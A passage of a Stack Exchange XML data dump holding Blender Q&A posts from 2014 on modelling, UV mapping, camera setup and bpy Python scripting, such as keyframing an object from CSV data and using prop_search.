mode&#xA;  and press &quot;knife project&quot;. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;emphasis mine&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A boundary edge is an edge with nothing connected on one side, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1GDiC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primitives, being manifold objects, do not have wire or boundary edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suzanne partially works because it is non-manifold (the eyes are disconnected). The two circles that you get by projecting Suzanne are the boundary edges around the eyes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OPZ6J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error message is a little bit strange though.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-21T18:03:30.140" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16069" PostTypeId="2" ParentId="16067" CreationDate="2014-09-21T19:24:01.640" Score="5" Body="&lt;p&gt;The reason you don't see anything when you render is because your **&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Camera&quot; rel=&quot;nofollow noreferrer&quot;&gt;Active Camera*&lt;/a&gt;* is set to something different than the camera (in this case is set as the Area light).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your camera, make it active and your scene will render correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this two different ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selecting the camera in the scene section of the properties window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wRXzU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or selecting your camera in the 3D viewport and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 0&lt;/kbd&gt;&#xA;(or on the view menu-&gt;Cameras-&gt;Select Active object as Camera)&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-09-21T19:44:08.117" LastActivityDate="2014-09-21T19:44:08.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16070" PostTypeId="1" CreationDate="2014-09-21T19:43:26.460" Score="4" ViewCount="1263" Body="&lt;p&gt;I have just recently created a rifle in Blender and I am currently UV and Shadow mapping it. This is the Rifle here below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mMj2b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rifle itself is split into two parts. One Part has been UV and Shadow mapped, coming out fine. But the main bulk of the rifle is having strange issues with its vertices on the UV map. The odd behavior is shown below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tsRsP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what the issue is? I have looked over the entirety of the mesh and haven't found any faults in it.&lt;br&gt;&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/31718&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt; with UV problem.&lt;/p&gt;&#xA;" OwnerUserId="2016" LastEditorUserId="2217" LastEditDate="2014-10-22T18:20:15.037" LastActivityDate="2014-11-01T05:09:53.430" Title="UV Mapping Issues" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16071" PostTypeId="1" AcceptedAnswerId="16072" CreationDate="2014-09-21T20:42:43.210" Score="11" ViewCount="1239" Body="&lt;p&gt;How can one subdivide at an arbitrary position, say the cylinder side faces, using CTRL+R (subdivide loop tool), so that the texture is not stretched like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/swj50.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OniVQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not possible with this tool, is there another way, like for instance recalculating a group of UV coordinates by means of their vertex position and their surrounding vertices. &lt;/p&gt;&#xA;" OwnerUserId="761" LastActivityDate="2014-09-21T20:46:50.193" Title="Subdivide loop at custom position without stretching the texture" Tags="&lt;texturing&gt;&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16072" PostTypeId="2" ParentId="16071" CreationDate="2014-09-21T20:46:50.193" Score="15" Body="&lt;p&gt;The loop cut operator has an option to correct UVs. Enable it in the &lt;em&gt;redo panel&lt;/em&gt;, below the tool shelf or with &lt;kbd&gt;F6&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XMo2f.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use the knife tool (&lt;kbd&gt;K&lt;/kbd&gt;), with angle constrain (&lt;kbd&gt;C&lt;/kbd&gt;) and cut through (&lt;kbd&gt;Z&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QrEgg.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-21T20:46:50.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16073" PostTypeId="2" ParentId="16062" CreationDate="2014-09-21T21:21:54.553" Score="2" Body="&lt;p&gt;Unity supports &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging&quot; rel=&quot;nofollow&quot;&gt;rigged&lt;/a&gt; models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to learn how to parent armatures to your model and adding keyframes. There're many tutorials on this. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Tutorials/Resources/External_links&quot; rel=&quot;nofollow&quot;&gt;Tutorials&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.unity3d.com/Manual/BlenderAndRigify.html&quot; rel=&quot;nofollow&quot;&gt;Unity tutorial: Using Blender and Rigify&#xA;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-09-21T21:21:54.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16074" PostTypeId="2" ParentId="16056" CreationDate="2014-09-22T01:45:00.713" Score="2" Body="&lt;p&gt;The knife tool is creating &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.63/BMesh#Create_faces_with_N-gons&quot; rel=&quot;nofollow noreferrer&quot;&gt;ngons&lt;/a&gt;, which are faces with more than 4 vertices.&lt;/p&gt;&#xA;&lt;p&gt;Ngons and tris do not work very well with the subdivision surface modifier. See &lt;a href=&quot;https://blender.stackexchange.com/q/89/599&quot;&gt;When should N-Gons be used, and when shouldn&amp;#39;t they?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When working with subserf, you pretty much always want to use quads (faces with four vertices) exclusively.&lt;br /&gt;&#xA;Instead of &lt;em&gt;knife project&lt;/em&gt;, you could make a rough circle shape out of quads and then use the subserf to round it out:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PGDkY.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;What I did in the gif:&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Inset&lt;/em&gt; the plane (&lt;kbd&gt;I&lt;/kbd&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then in edge select mode (&lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;↹ Tab&lt;/kbd&gt;), &lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot; /&gt; RMB&lt;/kbd&gt; on the edge ring created by the inset to deselect it.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Subdivide (&lt;kbd&gt;W&lt;/kbd&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to vertex select mode (&lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;↹ Tab&lt;/kbd&gt;) and delete the center vertex.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the inner loop circular with the &lt;em&gt;To sphere&lt;/em&gt; operator (&lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;), or the &lt;em&gt;circle&lt;/em&gt; operator of the bundled &lt;em&gt;loop tools&lt;/em&gt; addon.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude the shape to make it 3D (if you want), and add a constraining loop cut to make the subserf stay closer to the shape of the base geometry (&lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; to make the new cut aligned to the existing edge loops, and &lt;kbd&gt;F&lt;/kbd&gt; to pick between the edge loops you want to align to).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the outer edges of the cube/plane sharp with &lt;em&gt;edge crease&lt;/em&gt; (&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-09-22T03:19:12.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16075" PostTypeId="1" AcceptedAnswerId="16076" CreationDate="2014-09-22T02:23:00.667" Score="6" ViewCount="10633" Body="&lt;p&gt;According &lt;a href=&quot;http://www.youtube.com/watch?v=FIfwMEDMGz8&amp;amp;t=3m18s&quot; rel=&quot;noreferrer&quot;&gt;to this video tutorial&lt;/a&gt;, on blender 2.71 to select just one of two objects that have previously been joined (with &lt;kbd&gt;control&lt;/kbd&gt; + &lt;kbd&gt;j&lt;/kbd&gt;), you hover your mouse over the object, and press &lt;kbd&gt;L&lt;/kbd&gt;. ( Thats a lowercase &lt;kbd&gt;L&lt;/kbd&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this does not do an island select, but instead pops up a menu, none of which do what is expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you do an island select on blender 2.7x?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MsiMo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1026" LastActivityDate="2014-09-22T02:36:06.877" Title="How do you do an island select?" Tags="&lt;selection-tools&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16076" PostTypeId="2" ParentId="16075" CreationDate="2014-09-22T02:30:34.943" Score="6" Body="&lt;p&gt;As you have joined the two objects, they are now one object. In order to edit/select the geometry of an object, you must be in &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes&quot; rel=&quot;noreferrer&quot;&gt;edit mode&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can press &lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt; to toggle edit mode, or set the mode via the selector in &lt;em&gt;3D view &gt; header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/moOqO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once in edit mode, &lt;kbd&gt;L&lt;/kbd&gt; works as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g0ptG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can also select geometry connected the selected geometry with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wxFub.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-22T02:36:06.877" LastActivityDate="2014-09-22T02:36:06.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16077" PostTypeId="1" AcceptedAnswerId="16083" CreationDate="2014-09-22T04:38:35.087" Score="3" ViewCount="4707" Body="&lt;p&gt;I have created two bezier circles, then converted them to meshes. When I press &lt;kbd&gt;tab&lt;/kbd&gt; to enter edit mode, the objects appear completely black. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the exact tutorial I am &lt;a href=&quot;https://www.youtube.com/watch?v=51aTcZuuWW4&amp;amp;t=6m20s&quot; rel=&quot;nofollow noreferrer&quot;&gt;following at 6:20 of this video&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do they appear black, and not have any subdivisions? Is this a problem with blender, or is there a setting I need to change? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit Mode&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MKaox.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit Mode + Wireframe view&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ggZ87.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1026" LastActivityDate="2019-06-10T12:11:02.107" Title="Objects in edit mode are all black" Tags="&lt;editing&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16078" PostTypeId="1" CreationDate="2014-09-22T05:54:43.490" Score="0" ViewCount="63" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6fbcY.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am rendering with GPU and sample rate is 300 [no ambient occlusion] But i am getting too noise and fog type things here in this image you can see. can you please tell me the best rendering settings for this types of render. also a tutorial about to nice studio light setup.&lt;/p&gt;&#xA;" OwnerUserId="5278" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-09-23T03:39:46.880" Title="Number of samples for final render in Cycles" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-09-22T22:57:32.350" ContentLicense="CC BY-SA 3.0" />
  <row Id="16082" PostTypeId="2" ParentId="9413" CreationDate="2014-09-22T08:36:16.890" Score="1" Body="&lt;p&gt;I know you probably know the answer already since this was at May 15th.. But anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IK should not have any properties. The only ones should have properties with IK's would be the [Lower leg]/[calf] bones and the [lower arm]/[forearm] bones. There are many types of ways to use IK's but you only have them present for the forearm and calf bones. Make sure that they are not parented to the bone that is trying to use its IK. Also under the IK constraint, be sure to have an IK chain length of two. Sometimes you can add the shoulder bone or hips with a three chain but gives odd movements. Also arm IK's also work great with pole bones. Either elbows or knees. I suggest a blender IK rig tutorial.&lt;/p&gt;&#xA;" OwnerUserId="6153" LastActivityDate="2014-09-22T08:36:16.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16083" PostTypeId="2" ParentId="16077" CreationDate="2014-09-22T09:12:58.563" Score="8" Body="&lt;p&gt;From what i can see in the image your object has about 166000 Vertices. In Edit Mode vertices are displayed in a certain size independent from the polygon size, so it may well be that you only see the black vertices, while all edges are hidden because of the vertex &quot;display size&quot;. Here is an example with 4 rings of increasing vertex density:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VzRwR.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also none of your vertices is selected right now, so this would explain why the mesh appears in black. So i guess when you hit &lt;kbd&gt;A&lt;/kbd&gt; then your rings will turn from black to light orange (the color of selected vertices)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you had added a subdivision modifier to your Curve ? When converting your curve to a mesh the subdivision modifier would be applied...&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-09-22T09:48:13.053" LastActivityDate="2014-09-22T09:48:13.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16084" PostTypeId="1" CreationDate="2014-09-22T09:37:34.473" Score="3" ViewCount="2884" Body="&lt;p&gt;I have a csv file and an object, which i would like to animate using the data from the file. The file consists of x- y- and z data and time data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i with python code access the objects location and set it to the given coordinates at the given time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do i need to iterate throuh all the frames? can it even be done with a csv file?&lt;/p&gt;&#xA;" OwnerUserId="6156" LastActivityDate="2014-12-22T20:00:06.533" Title="How to animate object with data file" Tags="&lt;python&gt;&lt;animation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16085" PostTypeId="1" AcceptedAnswerId="16086" CreationDate="2014-09-02T15:43:52.173" Score="5" ViewCount="4944" Body="&lt;p&gt;I want to rename the number 1-&gt;picture (32) with python not the number 2-&gt;picture with the (3745), can someone help me with that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vMcUf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vMcUf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5912" OwnerDisplayName="Synturas" LastEditorUserId="56068" LastEditDate="2018-07-13T10:11:08.150" LastActivityDate="2018-07-13T10:11:08.150" Title="How to rename objects with python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16086" PostTypeId="2" ParentId="16085" CreationDate="2014-09-03T03:27:47.867" Score="7" Body="&lt;p&gt;The item you tagged as (1) is the objects data block and can be changed via python with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['3745'].data.name = 'newName'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of referring to an object directly by name you can access the active object's data block with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.data.name = 'newName'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastEditorUserId="1363" LastEditDate="2014-09-22T19:08:30.917" LastActivityDate="2014-09-22T19:08:30.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16087" PostTypeId="2" ParentId="16084" CreationDate="2014-09-22T10:13:14.010" Score="2" Body="&lt;p&gt;I am not aware of a direct csv importer. But of course you could write a python script for your special case. If your csv contains just object locations on a timeline, then it would be rather easy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then you would iterate over the timeline something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;context = bpy.context&#xA;obj     = context.object&#xA;scene   = context.scene&#xA;&#xA;start   = scene.frame_start&#xA;end     = scene.frame_end&#xA;&#xA;for frame in range(start, end+1):&#xA;&#xA;    # Set object location to whatever you get from the cvs&#xA;    # here i just move the object along the x axis:&#xA;    obj.location.x=frame&#xA;    obj.keyframe_insert(&quot;location&quot;,frame=frame)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not a very efficient way to do an animation. The above example would be done much more efficient by just adding 2 keyframes (one at the start and one at the end) and let blender calculate the movement in between. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you might want to create the animation curves (fcurves) directly instead of keyframing every timeframe. But it really depends on what your csv data contains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, maybe the above script can help to start your journey :)&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-09-22T13:35:02.353" LastActivityDate="2014-09-22T13:35:02.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16088" PostTypeId="2" ParentId="16084" CreationDate="2014-09-22T11:14:43.580" Score="2" Body="&lt;p&gt;Here is another example to take frames per second into account. For every sample in your file you will only insert one keyframe (assuming you want to interpolate linear between them).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;... # read x,y,z and t from a file, assuming seconds for t&#xA;&#xA;# and do something like this in a loop for all keys:&#xA;f = bpy.data.scenes[&quot;Scene&quot;].render.fps * t + 1 # stub&#xA;obj = bpy.data.objects[&quot;Cube&quot;] # stub&#xA;obj.location = [x,y,z]&#xA;obj.keyframe_insert(data_path=&quot;location&quot;, frame=f)&#xA;&#xA;# make interpolation between keyframes linear&#xA;for fc in obj.animation_data.action.fcurves: # stub&#xA;    for kp in fc.keyframe_points:&#xA;        kp.handle_left_type = 'VECTOR'&#xA;        kp.handle_right_type = 'VECTOR'&#xA;    fc.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need a higher resolution you could increase the &lt;strong&gt;Frame Rate&lt;/strong&gt; in render settings or come up with a more sophisticated mapping of frames/seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Assuming you have a file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;3.0,1.0,3.0,2.666666&#xA;1.0,4.0,1.0,5.335345&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could use pythons &lt;a href=&quot;https://docs.python.org/3/library/csv.html&quot; rel=&quot;nofollow&quot;&gt;csv module&lt;/a&gt; to parse it in Blender like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import csv&#xA;&#xA;csvf = open('/path/to/values.csv')&#xA;rd = csv.reader(csvf, delimiter=',')&#xA;for r in rd:&#xA;    l = [float(x) for x in r]&#xA;    xyz = l[:3] # location&#xA;    t = l[3] # time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-09-22T13:07:59.940" LastActivityDate="2014-09-22T13:07:59.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16091" PostTypeId="2" ParentId="15106" CreationDate="2014-09-22T13:56:29.973" Score="3" Body="&lt;p&gt;The only problem I see in the node setup is that the normal map image texture should be put through a &lt;em&gt;normal map&lt;/em&gt; node to convert the &lt;em&gt;color&lt;/em&gt; output data of the image texture to the required &lt;em&gt;normal&lt;/em&gt; input of the shader.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-09-22T13:56:29.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16093" PostTypeId="1" CreationDate="2014-09-22T17:15:11.500" Score="3" ViewCount="162" Body="&lt;p&gt;I'm trying to figure out how to create a filtered field like the ones found in the modifier and constraints panels that only allow you to select from a list of Armatures in the scene. Couldn't find where this type of property is defined for the existing UI panels.&lt;/p&gt;&#xA;" OwnerUserId="6073" LastActivityDate="2014-09-22T18:41:42.297" Title="Creating a &quot;filtered&quot; UI field" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16094" PostTypeId="2" ParentId="14301" CreationDate="2014-09-22T18:05:30.333" Score="2" Body="&lt;p&gt;What about doing it like this ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class MyDialog(bpy.types.Operator):&#xA;&#xA;    bl_idname = &quot;tools.mydialog&quot;&#xA;    bl_label = &quot;My Dialog&quot;&#xA;&#xA;    string_prop = bpy.props.StringProperty(name=&quot;String Prop&quot;)&#xA;&#xA;    def invoke(self, context, event):&#xA;        return context.window_manager.invoke_props_dialog(self)&#xA;&#xA;    def execute(self, context):&#xA;        # Whatsoever needs to be done...&#xA;        return {'FINISHED'}&#xA;&#xA;def my_menu_addition(self, context):&#xA;    self.layout.operator(MyDialog.bl_idname)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;&#xA;    bpy.utils.register_class(MyDialog)&#xA;    bpy.types.INFO_MT_file.append(my_menu_addition)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="248" LastActivityDate="2014-09-22T18:05:30.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16095" PostTypeId="2" ParentId="16093" CreationDate="2014-09-22T18:22:47.317" Score="2" Body="&lt;p&gt;For anyone having the same issue, it's as simple as using &lt;code&gt;prop_search()&lt;/code&gt; instead of &lt;code&gt;prop()&lt;/code&gt; in the draw code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row.prop_search(bpy.context.scene, &quot;your_string_prop&quot;, bpy.data, &quot;armatures&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to create a filtered field for the armatures in your current scene.&lt;/p&gt;&#xA;" OwnerUserId="6073" LastEditorUserId="1363" LastEditDate="2014-09-22T18:41:42.297" LastActivityDate="2014-09-22T18:41:42.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16099" PostTypeId="1" AcceptedAnswerId="16103" CreationDate="2014-09-22T22:25:52.077" Score="1" ViewCount="1281" Body="&lt;p&gt;Trying to find the simplest way to fire a ray from the mouse cursor and get just the face index of the intersected face. I'm looking through operator_modal_view3d_raycast.py, but getting the feeling that there's more going on there than I need. Is there an easier way, or should I stick with this course?&lt;/p&gt;&#xA;" OwnerUserId="6073" LastEditorUserId="55" LastEditDate="2014-09-23T02:16:43.103" LastActivityDate="2014-09-23T02:23:23.163" Title="Cast ray from the cursor and get the index of the hit face" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16100" PostTypeId="1" CreationDate="2014-09-22T22:53:26.900" Score="9" ViewCount="1375" Body="&lt;p&gt;So what I want to do is track a video that I have edited in NLE, but when I click on the movie icon whilst in the Motion Tracking layout, the list is blank.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oG2Hy.png&quot; alt=&quot;The Blank Area&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="599" LastEditDate="2014-09-23T00:54:23.453" LastActivityDate="2021-02-04T15:23:55.460" Title="Using a video from the Video Sequence Editor in the Movie clip editor?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16102" PostTypeId="2" ParentId="8870" CreationDate="2014-09-23T01:38:37.487" Score="1" Body="&lt;p&gt;As it happens, I've been working with subgroups in terrain myself, probably for a different game and game engine than you are. Here's how I would proceed. Broadly speaking, my custom is to analyze the terrain object I am working with and to create subgroups from sets of vertices which share common properties. Examples of such properties include what the selected vertices represent. For example, all roads in a section might be assigned to the same subgroup of vertices. All watercourses (rivers, streams, &amp;amp;c by whatever name known) might be assigned to a different subgroup. All bodies of water, from puddles, through ponds and lakes to seas and oceans, might be assigned to a third. I also use density of vertices (when projected to the base plane) as criteria, so that a mountain might be assigned to its own subgroup (or sometimes more than one, if required by the density of vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just doing the basic math, you have 263,169 verts, and the maximum limit per section is 65,536 verts, you will need at least five subgroups (263/65 is greater than 4). Unless there are other considerations in the game engine that would force otherwise, I'd create groups which share common characteristics. For example, relatively smooth areas have few verts, and mountains have many. This image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GC4L1.jpg&quot; alt=&quot;enter image description 